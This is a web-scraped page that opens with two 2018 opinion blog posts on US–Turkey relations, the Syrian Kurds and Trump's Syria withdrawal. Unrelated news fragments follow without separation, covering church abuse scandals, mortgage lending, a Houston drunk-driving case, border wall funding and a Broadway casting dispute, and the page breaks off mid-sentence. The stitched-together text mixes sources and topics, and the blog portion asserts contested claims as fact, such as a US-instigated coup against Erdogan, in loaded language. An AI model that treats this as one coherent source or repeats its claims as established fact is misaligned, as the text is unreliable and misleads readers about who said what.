Unless the U.S. stops that project and retreats from the area Turkey will continue to push against it - if necessary by force. The Turkish people support the fight against U.S. supported Kurds and are willing to pay the price for it. The Kurdish YPK leaders are delusional in their demands and overestimate their own political position. The U.S. can not have both, Turkey as an ally and a Kurdish proxy state-let. It has to decide. Yesterday President Trump and Erdogan had a phonecall to discuss the situation. It did not help. The White House readout for the call includes some noticeably harsh language: President Donald J. Trump spoke today with President Recep Tayyip Erdogan of Turkey. President Trump relayed concerns that escalating violence in Afrin, Syria, risks undercutting our shared goals in Syria. He urged Turkey to deescalate, limit its military actions, and avoid civilian casualties and increases to displaced persons and refugees. ... President Trump also expressed concern about destructive and false rhetoric coming from Turkey, and about United States citizens and local employees detained under the prolonged State of Emergency in Turkey. The Turkish side denied that such language and these issues were part of the talk: The White House's written statement differs from the truth discussed between the Turkish and U.S. Presidents' phone conversation on Wednesday, according to Anadolu Agency sources. Speaking on the condition of anonymity due to restrictions on talking to the media, the sources said President Donald Trump did not discuss any concerns 'of escalating violence in Afrin' during the phone call with President Recep Tayyip Erdogan. ... The sources also stressed that President Trump did not use the words "destructive and false rhetoric coming from Turkey." ... They also said that there was no discussion of the ongoing state of emergency in Turkey. It is very unusual to dispute the content of such readouts. Is Turkey obfuscating here or did someone in the White House put harsher language into the readout than was actually used in the call? Trump had in general good relations with Erdogan and the readout language does not sound like him. The Turkish side also added this: "In an answer to President Erdogan's highlighting request from Washington to stop providing arms to the PYD/YPG terrorists in Syria within the scope of fighting against terrorism, President Trump said the United States are no longer providing PYD/YPG with weapons," the sources added. Already in November the Turks had said that Trump promised to stop the delivery of weapons to the YPG forces in east-Syria. But the White House was evasive on the issue and the U.S. military Central Command has acted contrary to that promise. If the Magnier report is correct CentCom also delivered anti-tank missiles to the Kurds in Afrin. I have for some time presumed that are different opinions in the White House and especially in the Pentagon with regards to Turkey and the Kurds. The realist-hawks and NATO proponents are on Turkey's side while the neoconservative "liberal" forces are on the Kurdish side. Yesterday the NYT noted the split: The White House sent out a message aimed at mollifying Turkeys president on Tuesday, suggesting that the United States was easing off its support for the Syrian Kurds. That message was quickly contradicted by the Pentagon, which said it would continue to stand by the Kurds, even as Turkey invaded their stronghold in northwestern Syria. The former director of the Council of Foreign Relations, Richard Haass, takes the pro-Kurdish position. Linking to the NYT piece above he says: Richard N. Haass @RichardHaass - 12:00 PM - 24 Jan 2018 Pentagon right; US should be working w Kurds in Syria for moral and strategic reasons alike. A break with Erdogans Turkey is inevitable, if not over this than over other differences. Time for DoD to come up with plan to substitute for Incirlik access. It is not only the Incirlik air-base which is irreplaceable for NATO's southern command. Turkey also controls the access to the Black Sea and has thereby a say over potential NATO operations against southern Russia and Crimea. In a Bloomberg oped former U.S. Supreme Commander of NATO Stavridis takes a pro-Turkish position: At the moment, Washington is trying to sail a narrow passage between supporting its erstwhile Kurdish combat partners and not blowing up the relationship with Turkey. But the room for maneuver is closing and a choice is looming. What should the U.S. do? ... [W]e simply cannot afford to "lose" Turkey. ... The Turks have a strong and diversified economy, a young and growing population, and have stood alongside the U.S. for much of the post-World War II era. Their importance both regionally and globally will continue to grow in the 21st century. Yes, U.S. officials can and should criticize Turkish actions where they violate international law or human rights -- but in private, at least at this stage of the situation. ... [T]he overall U.S. strategic interest lies in keeping Turkey aligned with NATO and the trans-Atlantic community. It would be a geopolitical mistake of near-epic proportions to see Turkey drift out of that orbit and end up aligned with Russia and Iran in the Levant. It is unclear where in the Trump administration the split between pro-Kurdish and pro-Turkish positions actually is. (Or is it all around chaos?) On which side, for example, is Secretary of Defense Mattis and on which side is the National Security Advisor McMaster? This clip from the NYT piece above lets one assume that they pull in opposite directions: For its part, the White House disavowed a plan by the American military to create a Kurdish-led force in northeastern Syria, which Turkey has vehemently opposed. ... That plan, a senior administration official said Tuesday, originated with midlevel military planners in the field, and was never seriously debated, or even formally introduced, at senior levels in the White House or the National Security Council. ... But the Pentagon issued its own statement on Tuesday standing by its decision to create the Kurdish-led force. Discussing NATO relations with Turkey, several western "experts" agree that the current situation damages NATO but not one of them expects that Turkey will leave the alliance: NATO needs Turkey and cannot afford to push it further into Russias arms. Erdogan also needs NATO. He has overplayed his hand in Syria and in his struggle with the Kurds, and is isolated in the EU. His relationship with Moscow is problematic and he does not want to face Putin without NATO membership. This is an alliance that remains based on real strategic interests and that will continue long after Erdogan is gone. Maybe. I am not so sure. The last thing the EU now wants or needs is Turkish membership. The U.S. instigated a coup against Erdogan and its Kurdish project is threatening Turkey's strategic interest. Trump's continued push to take Jerusalem "off the table" in Israeli-Palestinian negotiations is an insult to all Muslims. An increasingly Islamic Turkey will not accept that. Turkey's natural gas supplies depend on Russia and Iran. Russia builds nuclear power stations in Turkey and will deliver air defense systems that can defend against U.S. attacks. Russia, Iran, Central Asia and beyond that China are markets for Turkish products. Putting myself into Erdogan's shoes I would be very tempted to leave NATO and join an alliance with Russia, China and Iran. Unless the U.S. changes course and stops fooling around with the Kurds Turkey will continue to disentangle itself from the old alliance. The Turkish army has so far prevented a break with NATO but even staunch anti-Erdogan officers are now on his side. If the U.S. makes a real offer to Turkey and adopts a new position it might be able to turn Turkey around and to put it back into its NATO fold. Is the Trump White House capable of defying the pro-Israel/pro-Kurdish voices and move back to that realist view? If it can not do that the real answer to the question "Who lost Turkey?" will be obvious. Posted by b on January 25, 2018 at 18:11 UTC | Permalink Comments next page next page December 20, 2018 Why Trump Decided To Remove U.S. Troops From Syria Last Friday President Trump had another long phonecall with the Turkish President Erdogan. Thereafter he overruled all his advisors and decided to remove the U.S. boots from Syria and to also end the air war. This was the first time Trump took a decisive stand against the borg, the permanent neoconservative and interventionist establishment in his administration, the military and congress, that usually dictates U.S. foreign policy. It was this decision, and that he stuck to it, which finally made him presidential. Trump's National Security Advisor John Bolton, his Secretary of Defense 'mad dog' Mattis and his Secretary of State Pompeo were all against this decision. The specialist working on Syria, the lunatic (vid) special representative for Syria engagement James Jefferey and Brett McGurk, the special presidential envoy for the global coalition to defeat ISIS, were taken by surprise. They had worked diligently to install a permanent U.S. presence in a Kurdish ruled proxy state in northeast Syria. While these people first tried to change Trump's decision, their resistance has now ceased: Secretary of Defense James Mattis, Secretary of State Mike Pompeo and national security adviser John Bolton met Monday, when Trump was said to formally decide on a US withdrawal from Syria. Multiple US officials argued against an abrupt US withdrawal, but were said to have given up trying to get Trump to change his mind by Tuesday night. US officials began to notify allies of the decision Tuesday. The push back from DOD, State and NSC stopped [Tuesday] night, said one regional expert who consults with the US administration, referring to the Department of Defense, the State Department and the National Security Council. Back in January we already explained why the neoconservative project of a Kurdish proxy state in northeast Syria was doomed from its start: Ilhan tanir @WashingtonPoint - 7:50 PM - 24 Jan 2018 This map being discussed all day on Turkish TVs as Turkeys planned security zone/safe zone on Syria border. Reportedly OKed by Sec.Tillerson though nobody on the American side confirms it bigger It is the U.S. supported founding of a Kurdish state-let in northeast Syria which is Ankara's most serious security concern. No [Turkish] "safe zone" will help if the U.S. military continues to build and supplies a Kurdish "border force" that can penetrate Turkey's southeastern underbelly - now, tomorrow or in ten years. Unless the U.S. stops that project and retreats from the area Turkey will continue to push against it - if necessary by force. The Turkish people support the fight against U.S. supported Kurds and are willing to pay the price for it. The Kurdish YPK leaders are delusional in their demands and overestimate their own political position. The U.S. can not have both, Turkey as an ally and a Kurdish proxy statelet. It has to decide. Trump never wanted that project to proceed. He had always wanted to declare victory against ISIS and leave. It was the borg that tried to prevent this and which push the project along. But there are bigger geopolitical fish to fry than such meddling in the Middle East. Trump knows that the United States' 'unilateral moment' after the demise of the Soviet Union, which left the U.S. was the sole superpower, is over. Russia is back and China is rising. Trump's policy to adopt to the decreasing U.S. power is to end the 'globalization' that allowed for China's rapid rise. He wants to geopolitical split this world into two influence spheres. These will be separate from each other in the political, economic, technological and military realms. In this new big game Syria's northeast is just a sideshow and not worth a significant involvement. The much larger Turkey, a U.S. NATO ally for 70 years, is way more important. If Trump had not taken the decision to end the neocon Syria project and to remove the U.S. from Syria the U.S. would have lost it: Putting myself into Erdogan's shoes I would be very tempted to leave NATO and join an alliance with Russia, China and Iran. Unless the U.S. changes course and stops fooling around with the Kurds, Turkey will continue to disentangle itself from the old alliance. The Turkish army has so far prevented a break with NATO but even staunch anti-Erdogan officers are now on his side. If the U.S. makes a real offer to Turkey and adopts a new position it might be able to turn Turkey around and to put it back into its NATO fold. Is the Trump White House capable of defying the pro-Israel/pro-Kurdish voices and move back to that realist view? If it can not do that the real answer to the question "Who lost Turkey?" will be obvious. Trump decided that to prevent Turkey from leaving NATO, and from joining a deeper alliance with Russia, China and Iran, was more important than to further fool around at the margins of the Middle East. It is the right decision. The Kurdish statelet idea also led to a conflict between the U.S. European Command (EUCOM) and U.S. Central Command (CentCom). Turkey (and Israel) fall under EUCOM, while the Middle East and west Asia are the realm of CentCom. Throughout the last year EUCOM had been increasingly noisy about CentCom's Syria plans: Among the critics is General Curtis Scaparrotti, the head of the European Command and the Supreme Allied Commander in Europe. [...] During a trip to Washington in March, Scaparrotti huddled with Mattis to express his worries over the growing tensions in U.S.-Turkish relations, worries that the European commander has also expressed in several meetings with General Joseph Votel, his counterpart as head of Centcom. The concern within EUCOM and NATO was indeed that Turkey would move further towards Russia and in the end leave NATO. That is now unlikely to happen. (Since 1991 it was CentCom that played a oversized role in U.S. foreign policy. Sec Def Mattis is a CentCom animal. It is good to see CentCom and him cut to size.) But if the hope is that Turkey will end its relations with Russia and Iran the outcome will be disappointing. Turkey depends on Russian and Iranian gas and as export markets. After the attempted coup against him Erdogan does not trust the U.S. side. Moreover, the position that gives him the most flexibility and leverage is between the two 'blocks', both of which will continue to court him. He will continue to vacillate between them to get the most from both sides. The neoconservative elements in the administration, and their Zionist backers, have lost out. As Craig Murray describes their aims: The chaos of this incoherent and counterproductive strategy is, peculiarly enough, what the neocons actually want. Perpetual war and destabilisation in the Middle East is their goal. ... Today, by keeping Arab populations poor and politically divided, the neo-cons believe that they enhance the security of Israel, and they certainly do facilitate the access of western companies to the oil and gas of the region, as we see in destabilised Iraq and Libya. The neoconservative and interventionist borg blew it when it tried to use the temporary U.S. position in Syria against ISIS to goad Trump into a conflict with Iran: Some current and former US officials faulted what they saw as overreach by administration Iran hawks, in particular US Syria envoy Jim Jeffrey and his lieutenant, Joel Rayburn, the deputy assistant secretary of state for the Levant, who have argued publicly that US forces would not leave Syria until all Iranian forces had left. The people who work for [Trump] Bolton, Rayburn, now Jeffrey make it worse by adding impossible objectives on Syria [involving Iran] that suggest an indefinite stay, said the US official who called Trump's decision catastrophic. The official said these arguments have no connection to realistic objectives for our military and go way beyond the goal of defeating IS and preventing its re-emergence. But the Iranian presence in Syria is so small and and the U.S. position so weak, that this was always a stupid idea: John Allen Gay, an Iran expert and executive director of the John Quincy Adams Society, [..] argues that Trumps decision confirms what everyone has quietly admitted for at least the past year: that keeping U.S. forces in Syria to counter ISIS was starting to look like a way for administration interventionists to argue that we should take on Iran. Keeping the troops there post-ISIS was in part natural mission creep, but it was also a stalking horse for hawks in the administration who want to take on Iran, he told TAC. Yet dangling a few thousand guys in between Turkish forces on one side and Iranians, Russians, and Syrians on the other was never going to be decisive on Irans regional role, and it came with real risks and no endgame, Gay added. I just dont think theres any appetite in the American public for a big fight with Iran anywhere, let alone over Eastern Syria. The U.S. State Department is already moving its people out of Syria. The 4,000 to 5,000 U.S. military and contractors were given 60 to 100 days (other sources say 30 day but that is a bit too hasty) to pack up and leave. They will coordinate with Russia for a handover. There will be Russian advisors that will replace the U.S. Green Berets who command the Kurdish and Arab tribal forces against ISIS. Russia will also try to convince Turkey that there is no further need to invade Syria's east. It will promise to disarm the Kurdish forces or to integrate them into the Syrian army. Its air force will replace the U.S. and others who currently bomb the 2,000 or so Islamic State fighters left in their hold out along the Euphrates. The Kurds in Syria will have to make nice with Damascus. They have nowhere else to go. Their dream of an autonomous Rojava will turn out to be just that. Syria can only survive as a centrally controlled state. It will never be federalized. The local Arab tribes in the northeast will probably seek some revenge against the uppity Kurdish leadership that used the U.S. backing to draft their sons into the fight against ISIS. The YPK leadership will likely flee into north Iraq to hide out with their PKK brethren in in the Quandil mountains. The Syrian army, which plans to dislodge al-Qaeda from Idleb governorate during the next spring, will now have to move a number of forces towards the northeast. Isolating the Islamic State at the Euphrates near the Iraqi border and eventually eliminating it, will be the new priority. Iraqi militia will probably help with that. Recovering the oil and gas fields and other economic assets will be another important issue. Much will depend on how Russia and Iran will be able to handle Turkey. With the U.S. out, and the danger of a Kurdish entity in Syria decreasing, they may well be able to convince Erdogan to stop his invasion plans. It is quite refreshing to see that Trump was finally able to liberate himself from the dictate of the borg. By moving the U.S. out of Syria he fulfilled one of his election promises. Donald J. Trump @realDonaldTrump - 11:42 utc - 20 Dec 2018 Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild. #MAGA The people who voted for Trump will welcome the move. One hopes that he can expand on it by further decreasing the influence of Saudi Arabia and Israel on his policies. During his campaign Trump also argued for better relations with Russia. But the borg pushed his policies towards the opposite stand. Removing the U.S. from Syria is eliminating one issue were Russia and the U.S. were on opposing sides. Could Trump use his newly found backbone to defeat the borg again and to finally work towards better relations with Russia? That currently sounds unlikely. But Friday's decision was a big suprize. Stay tuned for other ones. Posted by b on December 20, 2018 at 13:51 UTC | Permalink Comments next page next page The Catholic Church has dealt this year not just with cases of predator priests, but with cases that expose the misdeeds of bishops and cardinals, who either failed to stop abusers or carried out abuses themselves. Scandals have played out in France, Chile, Australia, the United States and elsewhere, implicating members even of Pope Francis's inner circle. Increasingly loud critics say Francis's papacy has been damaged by the cases - and by the church's struggle to hold prelates accountable. Trump said it was time for others in the region to step up against the Islamic State terrorist group and other hostile forces. "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing?" he asked. Obtaining land financing from a private channel lender is a process leaps and bounds more complicated than securing residential financing, but remembering a few fundamentals will save time and prevent headaches. In determining whether or not to fund a land acquisition, private lenders look at the developers experience to help them determine how well the proposed project will be executed. According to Judd Silverstone Rapoport, head of mortgage origination at Downing Street Financial Inc. and a CFA charterholder, also under close scrutiny are assumptions pertaining to soft and hard costs, as well as projected revenues in all proforma submissions. We require as-is appraisals rather than as-built appraisals that are based on a set of extraordinary assumptions that dont reflect the lands current state, said Rapoport. We also need confirmation of the equity thats being injected into the property, as well as its provenance, because lenders always want to ensure that borrowers are aligned with the deal. Syndicated equity is different than cash out of the borrowers own pocket. One of four such Google customers was a 17-year-old who was Facebook friends with Tibbetts. The teen's brother was on the same construction crew as Tibbetts' boyfriend, who was out of town when she vanished, so investigators assumed he may have known Tibbetts was home alone. The teen told agents he was at home July 18, but later said he may have been mowing a cemetery. He raised suspicion when he told agents that he had recently "wiped" his smartphone of all stored data and didn't have it on him. While Mnuchin did not give details on Treasurys potential actions, he indicated that a new director of the Federal Housing Finance Agency and securing Senate confirmation on the administrations choice will be key to its efforts. There are changes we will be able to make with a new director at the FHFA, Mnuchin said. President Donald Trump is considering Mark Calabria for the role, the White House has said. Calabria is the chief economist of Vice President Mike Pence. Bloomberg said Mnuchins remarks may please the hedge funds that hold interests in Fannie and Freddie. These investors have called on the Treasury release Fannie and Freddie to private investors after making them set up capital buffers that would protect against losses. Such a move would bypass lawmakers as well as require Treasury to sell its stakes in the two companies. My overall view is on the one hand, I want to make sure theres access to liquidity and capital for consumers, Mnuchin said. On the other hand, I want to make sure whatever we do in restructuring them, we dont put the taxpayer at risk. A New Jersey man has admitted his role in a scheme that defrauded mortgage lenders and others of more than $6 million, according to the US Attorneys Office for the District of New Jersey. Mehdi Kassai pleaded guilty before US District Judge William Martini in Newark federal court to an information charging him with two counts of bank fraud, one count of wire fraud, and one count of money laundering. Kassai, in cooperation with others, fraudulently induced lenders to participate in short-sale transactions from June 2013 to March 2017. He admitted to using false documents and straw buyers, causing cosmetic damage to properties to lower their apparent value, and restricting the ability of others to bid and buy those properties. Were doing some things pretty creatively where we could put in call to actions, and basically with that you could say, apply now or visit my website or learn more about mewhatever you want to say within the post, they click on it and it could drive wherever you want them to go. And I think thats really a key because shares and likes are good, but you want them to take an action like apply now, Carter said. Calls to action arent just about directing consumers to a specific place; theyre also easily tracked, which gives originators and others the ability to see how many leads theyre getting directly from social media as opposed to through other channels. Everyone obviously wants leads, but before establishing accounts for various platforms and firing off posts here and there, its worth taking some time to set defined goals around the purpose of being on social media. Those goals will vary based on originator and company, but the decision has to be made: is the primary goal of social media to build a brand or for lead generation? Obviously theres a wide range of goals for social media, so its really a matter of where your goals are in terms of, what do you really want to get out of it. If you want to get leads then you probably really need to do Facebook ads or things like that to drive people to fill out a form. Versus, its a long-term strategy, where I really want to build up my expertise and people are going to really get a big community so it becomes another marketing channel, Carter said. For people who are spending money on it, I think they want more immediate, as opposed to long-term. Thats not to say it cant be both, but the decision will influence the strategy. Likes and shares are more important when looking to truly build a community and increase awareness of a particular brand. For lead generation, however, the goal is to get more calls to action in place that will direct consumers to the place where they can take that next step, whether its texting a mortgage professional, filling out a 1003, or otherwise entering information into a database. But also, she said, originators need to use it to their advantage now in order to cement those relationships and get ahead of the big players in the market. Once they catch up, they will have many more tools at their disposal. It strikes me that theres so much new innovation happening, there are things not related to social media that big companies have yet to take advantage of, but they will at some point, Decker said. Theyre getting to the point where they will use the data they have in their systems to pull as much of this pipe into their LOA, she said, and using personal connections allow originators to stay ahead that data-driven method. It doesnt do it for you, but the more you can have that seamless process, the faster its going to go and the happier your customers are going to be and the more time you have to get to 200 or 500 loans a year. Staying top of mind through social media is of course something that every single originator can do starting this very second. OLaughlin said that he puts all of his energy into creating a wow experience, and using video email platform BombBomb is a big part of that. As soon as he gets off the phone with a new referral, or a member of his team makes initial contact, they shoot a personal video for the client, expressing their excitement about helping them through the process. He texts that video to the borrower, copying the agent, and then after that, he sends videos throughout the process. They arent all personalized, but apart from starting the experience with a bang, the other goal is to eliminate the time he spends on the phone. The goal of BombBomb and using that in process is to cut phone traffic down. I want them to know whats happening next without getting a phone call. How do you deliver that awesome experience for that client, that realtor, without picking up the phone. Shale pioneer George P. Mitchell is among the Petroleum Museum Hall of Fame inductees for 2019. The other inductees are Robert C. Bledsoe, Arlen L. Edgar and L.D. Buddy Sipes Jr. --Mitchell, a Galveston native, graduated first in the Class of 1940 at Texas A&M University. He received a petroleum engineering degree with an emphasis in geology. He began his career with Amoco, before being commissioned a lieutenant in the U.S. Army Corps of Engineers. After his military service, Mitchell joined Oil Drilling Inc. as a consulting geologist and engineer and later became a partner. He was named president in 1959, and under his leadership the company evolved into one of the nations largest independent oil and gas producers. Over his career, Mitchell was involved in more than 10,000 wells, including 1,000 wildcats and made more than 200 oil and 350 gas discoveries. He pioneered drilling and completion technologies that helped create the shale gas revolution. He enabled the first viable production of gas in the Barnett Shale employing the first successful application of hydraulic fracturing. Mitchell served as a member of the National Petroleum Council and three terms as president of the Texas Independent Producers and Royalty Owners Association. He was a director of the Gas Research Institute and a member of the World Resources Institute Council. He died in 2013 at the age of 94. --Bledsoe was born in El Paso, grew up in Marfa and graduated from the New Mexico Military Institute in 1949. He served in the U.S. Air Force graduated from the University of Texas law school in 1955. Bledsoe joined the firm of Baker, Botts, Andrews and Sheppard in Houston, and after two years, he joined the firm of Hervey, Dow and Hinkle in Roswell, New Mexico. He joined the Midland firm of Stubbeman, McRae, Sealy, Laughlin & Browder in 1959, and during his time there, he was engaged by British Petroleum to work on the Prudhoe Bay Unit Agreement and Unit Operating Agreements. In 1974, six lawyers left the Stubbeman firm to form Cotton, Bledsoe, Tighe and Morrow. The founders envisioned a small firm, but with the Arab oil crisis, the law firm grew to 35 lawyers. Bledsoe was among the first Texas attorney to be certified a specialist in oil, gas and mineral law. He has served on the board of the Oil and Gas Specialization. He was recognized by the Texas Bar Foundation in 2008 and received the Fifty-Year Lawyer Award. --Edgar was born in Stephenville and graduated from Tarleton State University, then a two-year school, and transferred to the University of Texas where he graduated in 1957 with a bachelor of science in petroleum engineering. Among the companies he has worked for are Pan American Petroleum Corp. in Odessa; Leibrock, Landreth, Campbell and Callaway, where he was a reservoir engineer and manager of the consulting division; and Kanata Exploration Co. Edgar served as vice president, president and director of Tipperary Land and Exploration and as managing director in Brisbane, Australia. Edgar became general manager of Western States Producing Co. in 1971, and in 1973, he became an independent consultant and investor. Edgar is a member of the Society of Petroleum Engineers, the American Institute of Mining, Metallurgical and Petroleum Engineers, the Society of Petroleum Evaluation Engineers and the Society of Independent Professional Earth Scientists. --Sipes, a Big Spring native, received a bachelor of science in petroleum engineering from Texas Tech University in 1957. He began his career with Core Laboratories Inc., and after he served with the U.S. Army, he moved to Midland to establish a consulting office for Core. Two years later, Sipes joined a local petroleum consulting firm, which he and his associates purchased and renamed Sipes, Williamson & Associates Inc. He formed Chisos Operating Inc. in 1980, and founded Diversified Remediation Inc., a Houston-based environmental cleanup company, in 1990. Sipes has helped establish definitions and accepted standards for reservoir engineering that also were used by the Texas Water Development Board and the U.S. Department of Energy. The Petroleum Museum Hall of Fame, which was instituted in October 1967, honors those persons and firms who have made outstanding contributions to the development of the petroleum industry or have served as worthy examples to those in the petroleum industry, according to a press release from the museum. Previous inductees include former Presidents George H.W. Bush and George W. Bush, former commerce secretary Don Evans, state Rep. Tom Craddick, Concho Chairman and CEO Tim Leach; and Scott Sheffield, chairman of the board of Pioneer Natural Resources. The induction ceremony is planned for May 2 at the Petroleum Club. To learn more about the inductees, go to pbpetro.org. For more information about the event, contact Luanne Thornton at lthornton@petroleummuseum.org or 432-683-4403. Five employees at a South Houston bar have been charged with serving alcohol to an underage patron who authorities said then drove the wrong way and crashed into an SUV, killing a 23-year-old mother and injuring her child and mother. The five, employees at Servi-Car el 3 on Houston Boulevard, are all accused of serving 19-year-old Erick Hernandez at least a dozen alcoholic drinks over six hours Sunday night. On Sunday night, based on seized surveillance video, a visibly intoxicated Hernandez left the bar at 10:49 p.m., according to the Harris County district attorneys office. At 10:51 p.m., authorities said his pickup swerved across three lanes of College Avenue and crashed into a car driven by Taylor Phillips who died at the scene. This family should be celebrating the holiday, but is instead planning a funeral, said Harris County District Attorney Kim Ogg in a statement. This tragedy should never have happened. EXCLUSIVE AT HOUSTONCHRONICLE.COM: An in-depth look at Houston's dangerous roads and drunk drivers. In the case, Mildred Garcia, 21, Anna Evelyn Lule, 19, Jaquin Guadalupe Gonzalez, 19, and Jazely Marie Barrera, 21, are charged with misdemeanors associated with serving Hernandez. Gustavo Tejada-Garcia, 28, the manager of the bar, is charged with misdemeanor possession of an unauthorized beverage charge, namely tequila. Hernandez is accused of being drunk when he crashed head-on into an SUV driven by near Hobby Airport. Phillips died on impact, prosecutors said in court. Her 1-year-old son and 48-year-old mother were injured in the crash. Prosecutors with the Harris County District Attorneys office said none of the bar employees who served Hernandez ever asked for his ID. Hernandez was charged with second-degree felony intoxication manslaughter in Phillips death. He was released on a $30,000 bond Tuesday night, court records show. On Wednesday, a judge ordered that Hernandez cannot drive as a condition of his bond while the charge is pending. He was also issued a 9 p.m. to 5 a.m. curfew and will be required to wear an alcohol-detecting ankle monitor. Hernandez, as well as his attorney, David Garza, declined to comment. Based on video, Hernandez had spent six hours drinking inside the Frontera Events Venue in the 1000 block of Houston Boulevard, ultimately downing a dozen alcoholic beverages including at least three tequila shots, according to Sean Teare, chief of the Vehicular Crimes Division at the Harris County District Attorneys Office. Servi-Car el 3 is a part of Frontera Events Venue, authorities said. Hernandez was drinking with another person inside the bar, Teare said. This is a 19-year-old kid at a bar, Teare told reporters Wednesday morning. The bar is like any other bar. They had live music. They were dancing. They were there for six hours, and they never stopped drinking during the six hours. Surveillance video indicates that Sunday not was not the first time Hernandez had been in the bar, Teare said. He eventually left the bar that night and hopped in his Ford F-150. Less than a minute later, Phillips was dead. Firefighters had to free Hernandez from his truck after the crash, Teare said in court. Hernandez was given a test to determine his blood-alcohol concentration and Teare expects it to be pretty high based on the amount of drinks surveillance video shows him drinking before the crash. As for the bar, the Texas Alcoholic Beverage Commission is investigating the circumstances leading up to the crash. If convicted, Hernandez is facing up to 20 years in prison. The Houston metro area is the deadliest in the nation for fatal crashes related to alcohol and drugs, according to a Houston Chronicle analysis of federal data. The dubious distinction has drawn the attention of prosecutors. Ogg, since taking office in 2017, has worked with the Texas Alcohol Beverage Commission on education campaigns aimed at establishments that sell or serve alcohol, and focused on prosecutions of people who sell alcohol to minors who later are suspected of causing deadly crashes. Charges have followed some of the regions most high-profile fatalities involving alcohol and underage drivers. In April, Clear Lake bartender Amy Allen, 40, was charged with two counts of selling liquor to a minor, both misdemeanors, following a Feb. 28 crash. Gumaro Munoz Campos, 29, was charged Aug, 6 with a liquor violation following a horrific crash in Atascocita that killed Salma Gomez and Chloe Robison, both 16. Campos, via his lawyer, denied in court selling Jaggar Clayton Smith, 17, the liquor purchased prior to the July 25 wreck that split Smiths car in two when he slammed into a tree in the median of Timber Forest Drive. Still, courts and prosecutors have been mixed on imposing penalties. Allen received deferred adjudication in September, meaning she will spend no time behind bars and the charges could disappear if she avoids other crimes. The bar owner's son, Devin Jackson, 24, and another man, John C. Medina, 23, pleaded guilty to one count of furnishing alcohol to a minor and both also received deferred adjudication. Dug Begley contributed to this report jay.jordan@chron.com NEWS WHEN YOU NEED IT: Text CHRON to 77453 to receive breaking news alerts by text message | Sign up for breaking news alerts delivered to your email here. WASHINGTON - The border wall saga continues - likely into 2019 and beyond, key Texas lawmakers said Wednesday. With no funding agreement in sight for President Donald Trumps promised border wall, congressional leaders moved Wednesday to put off until Feb. 8 a spending showdown that could partially shut down the federal government. The effort to avert a potential closure came after the White House signaled it might back down from Trumps demand that Congress provide $5 billion, suggesting instead that there are other ways to get money for the border wall. SUBSCRIBERS: Border wall will not hinder access to National Butterfly Center, agency says A new funding bill by Republican Senate Majority Leader Mitch McConnell came after several days of mixed messages from the White House about whether Trump would accept a short term deal to avoid a shutdown. Even as White House aide Stephen Miller said that the president was absolutely willing to shut down the government over the wall, Trump floated a plan to have the military build it, an idea that has run into skepticism from Republicans and Democrats alike. Texas Republican John Cornyn, ending his six-year-stint as GOP Majority Whip, said Trump is considering reprogramming past Defense Department appropriations, including money for U.S. Army Corps of Engineers construction projects. Im sure the president has his lawyers looking at whether thats feasible, Cornyn said, and whether he could do that without Congress approval. Cornyn blamed Democrats for the impasse, saying Trump faced incredible intransigence of incoming House Speaker Nancy Pelosi and Senate Minority Leader Chuck Schumer. On Tuesday, Schumer rejected the GOPs latest offer of $1.6 billion border security spending, plus $1 billion in reallocated money for immigration enforcement other than a wall. Schumer called the additional pot of money a slush fund. While expressing disappointment in the Democratic response, Cornyn voiced his own reservations about repurposing unspent defense dollars for a border wall. Theres always competing demands for money and I would want to know where that money would be shifted from, Cornyn said Wednesday. If its shifted from some account that is a non-critical function, then I might be open to it. But if its taking money out of the pockets of our soldiers and sailors, airmen and marines, I would not. We should have been taking a stand For Trump, signing a temporary funding measure without additional money earmarked for a wall would still mark a major concession. It comes on top of the administrations announcement on Tuesday that it will relax some of the background check requirements for people sponsoring migrant children, a move that could speed up the release of thousands of children being held in government facilities like the controversial tent camp in Tornillo, Texas. READ ALSO: Bracing for life on the south side of the wall Immigrant advocates credited Trumps capitulation to the Democrats strengthened bargaining position in the wake of midterm elections that saw them gain 40 House seats, winning control of the chamber starting in January. On this side of the midterms, Trump doesnt seem so strong, invincible and domineering, does he? said Frank Sharry, executive director of the advocacy group Americas Voice. While Senate GOP leaders prepared a resolution extending current government funding until February 8, some House conservatives urged Republicans to dig in while they still command majorities in both chambers. Let me get this straight, tweeted Ohio Republican Jim Jordan, a founding member of the House Freedom Caucus. Our chances of getting the Wall will be better in February when Nancy Pelosi is Speaker than now when we have the majority? Give me a break. Freedom Caucus Chairman Mark Meadows of North Carolina tweeted that the government funding extension will be a Christmas present for Democrats: Democrats will win, the wall will not be built, and Congress will once again have punted when we shouldve been taking a stand. Facing a Friday night deadline to head off a holiday government shutdown, Senate Republican leaders said they had little choice, finding themselves unable to approve wall funding without Democratic votes. I hope that this continuing resolution will provide us the time to work out our differences in a thoughtful manner and reach a bipartisan consensus on important national priorities, said Senate Appropriations Committee Chairman Richard Shelby of Alabama. Pelosi and other Democrats also questioned whether there are enough Republican votes in the lame duck House to pass the $5 billion funding request for a wall, which Trump originally said would be paid for by Mexico. Among those who have opposed Trumps wall proposal is West Texas Republican Will Hurd, whose district covers one-third of the entire U.S.-Mexico border. Congress has already passed most of the governments 2019 funding, but at least six agencies are operating under a stopgap funding law that expires at midnight Friday. Among them is the Homeland Security Department, which oversees border security and the wall. The Senates original Homeland bill for 2019, approved on a bipartisan basis, includes $1.6 billion for border security, much of it for 65 miles of pedestrian fencing in the Rio Grande Valley. The House is expected to take up the new funding extension on Thursday, possibly ending a standoff that has been building for months. Either way the battle for Trumps wall is not over. The fight over this will continue, Cornyn said, probably up to and including the 2020 election. "There was a great deal of concern expressed. . . . What is going to happen to the Kurds, who have fought by our side and helped defeat ISIS and probably need our protection?" said Chairman Sen. Ron Johnson, R-Wis., the Homeland Security and Government Affairs Committee chairman. "I asked the vice president, Who are going to be the members of the coalition to prevent ISIS from reconstituting and keep Iran from completely taking over, Iran and Russia, from completely taking over Syria?" NEW YORK - A seasoned Broadway director has parted company with a forthcoming Broadway revival of Arthur Miller's "All My Sons" because, he says, the late playwright's estate declined to let him cast two black actors in a pair of sibling roles normally played by white actors. The dispute illuminates how the sincerest efforts at colorblind casting can sometimes spark creative rifts. Director Gregory Mosher said in an interview that his association with the Roundabout Theatre Company revival - which will star Annette Bening and Tracy Letts and begin performances at the American Airlines Theatre on April 4 - ended after the Arthur Miller estate, overseen by his daughter, filmmaker Rebecca Miller, objected to the casting. Jack 